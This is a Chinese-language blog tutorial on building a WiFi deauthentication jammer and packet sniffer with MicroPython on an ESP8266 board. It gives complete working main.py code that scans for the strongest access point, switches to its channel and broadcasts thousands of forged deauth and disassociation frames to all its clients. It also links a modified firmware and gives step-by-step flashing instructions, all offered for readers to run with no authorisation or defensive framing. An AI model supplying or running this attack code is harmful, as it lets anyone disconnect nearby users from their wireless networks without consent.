MicroPython實現wifi干擾與抓包

  0x00前言

  之前做的WIFI攻擊實驗都是基於arduino環境開發的,最近想嘗試一下使用micropython完成deautch(解除認證)攻擊。本次開發板使用的還是TPYBoardv202(某寶上有賣,30元),因爲它主要的功能就是支持micropython開發。

圖片描述

  0x01實現原理

  a) 通過查閱資料和arduino的源碼分析,瞭解到實現攻擊其實就是發送IEEE802.11協議解除認證包,根據MAC層幀格式發送自定義的虛假deautch數據包。

  b) 調用ESP8266SDK中wifi_send_pkt_freedom函數,發送攻擊包。

  0x02攻擊構思

  a) 程序一開始掃描附件的AP。

  b) 找到信號最強的AP,獲取到他的MAC地址(bssid)和信道。

  c) 將TPYBoardv202切換到同攻擊AP相同的信道。

  d) 使用攻擊AP的MAC地址,組合deauth解除認證包發送。

  0x03編譯燒寫固件及程序源碼

  1、 編譯固件

  現有的micropython-esp8266固件中,並沒有引出wifi_send_pkt_freedom函數,於是

  我自己動手編譯了一次固件,地址:

  https://github.com/PakchoiFood/micropython-deauth

  大家可以自行下載燒寫使用,如果有的小夥伴想自己編譯修改固件的話,請參考:

  https://github.com/micropython/micropython/tree/master/esp8266

  需要注意:在編譯esp8266-sdk時,注意版本必須是1.3.0版本,否則wifi_send_pkt_freedom函數會一直返回-1失敗。

  下載後解壓,文件如下:

圖片描述

  firmware.bin文件:micropython-esp8266生成的固件。

  增加的內容:

  setAttack函數

  參數:int類型(信道)

  功能:設置esp8266的信道

  send_pkt_freedom函數

  參數:bytes數組(定義的數據包)

  flash_download_tools_v3.3.6_win.rar:燒寫固件的工具。

  MicroPythonFileUploader.rar:用於將程序下載到TPYBoardv202Flash的工具。

  main.py文件:程序源碼文件,主要實現附件AP的掃描、數據包的組合和調用發送。

import time
import uos
import wireless


sta_if=wireless.attack(0)#0:STA 模式 
sta_if.active(True)
ap_list=sta_if.scan()
print(ap_list)
ssid=''
bssid=''#bssid:AP MAC address
channel=''#信道
_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默認

def deauth(_ap,_client,type,reason):
    # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    # 2 - 3   duration (SDK takes care of that)
    # 4 - 9   reciever (target)
    # 10 - 15 source (ap)
    # 16 - 21 BSSID (ap)
    # 22 - 23 fragment & squence number
    # 24 - 25 reason code (1 = unspecified reason)
    packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    for i in range(0,6):
        packet[4 + i] =_client[i]
        packet[10 + i] = packet[16 + i] =_ap[i]
    #set type
    packet[0] = type;
    packet[24] = reason
    result=sta_if.send_pkt_freedom(packet)
    if result==0:
        time.sleep_ms(1)
        return True
    else:
        return False

if __name__=="__main__":
    max_rssid=0
    max_id=0
    num=0

    #獲取信號最強的AP 進行攻擊
    for i in ap_list:
        if max_rssid==0:
            max_rssid=i[3]#rssid
        else:
            if i[3]>max_rssid:
                max_rssid=i[3]
                max_id=num
        num+=1
    ssid=ap_list[max_id][0]
    bssid=ap_list[max_id][1]
    channel=ap_list[max_id][2]
    print('ssid:',ssid,'-bssid:',bssid)
    print('-channel:',channel,'-rssid:',max_rssid)
    sendNum=5000#攻擊次數

    print('******************************')
    if sta_if.setAttack(channel):
        print('Set Attack OK')
        time.sleep_ms(100)
        print('---deauth runing-----')
        for i in range(0,sendNum):
            r_=deauth(bssid, _client, 0xC0, 0x01)
            if r_:

                deauth(bssid, _client, 0xA0, 0x01)
                deauth(_client, bssid, 0xC0, 0x01)
                deauth(_client, bssid, 0xA0, 0x01)
                time.sleep_ms(5)
            else:
                print('---deauth fail-------')
            time.sleep_ms(5000)

  sniffer文件夾下的main.py實現網絡抓包功能。

import wireless
import time

#可以指定信道1~13
sniffer=wireless.sniffer(6)
#0:表示從信道1開始 定時切換信道
#sniffer=wireless.sniffer(0)

  燒寫固件

  1、 TPYBoardv202使用microUSB數據線接入電腦。查看安裝的usb轉串的端口。打開電腦的設備管理器(這裏是COM57)。

圖片描述

  2、 解壓flash_download_tools_v3.3.6_win.rar,雙擊運行ESPFlashDownloadTool_v3.3.6.exe。

  3、選擇firmware.bin固件文件,地址0x00000,其他參數根據下圖設置。我的COM選擇COM57,根據自己的實際端口選擇,波特率選擇115200。

圖片描述

  4、點擊【START】,界面提示等待上電同步。按住板子上的FLASH鍵不鬆,同時按一下RST鍵復位上電。左側空白區顯示讀取的MAC地址,狀態顯示下載中,此時鬆開按鍵即可。

圖片描述

  5、等待下載完畢,關閉軟件退出。

  下載程序

  6、解壓MicroPythonFileUploader.rar,雙擊運行MicroPythonFileUploader.exe。

圖片描述

  此軟件需要.NETFramework4.2及以上版本,若打開失敗,請安裝.NETFramework後再使用。

  .NETFramework4.5下載地址:http://www.tpyboard.com/download/drive/174.html

  7、選擇COM57,點擊【Open】打開串口。

圖片描述

  8、點擊右側的文件夾圖標的按鈕,選擇main.py文件。

圖片描述

  9、此時可以點擊【Send】,將程序發送給TPYBoardv202。發送成功後,程序自動運行。

圖片描述

  10、接下來將sniffer下的main.py同樣的是方式下載到板子裏。(文件會覆蓋)

  打開串口助手,就可以看到esp8266抓包的數據。

圖片描述

發佈了63 篇原創文章 · 獲贊 20 · 訪問量 4萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章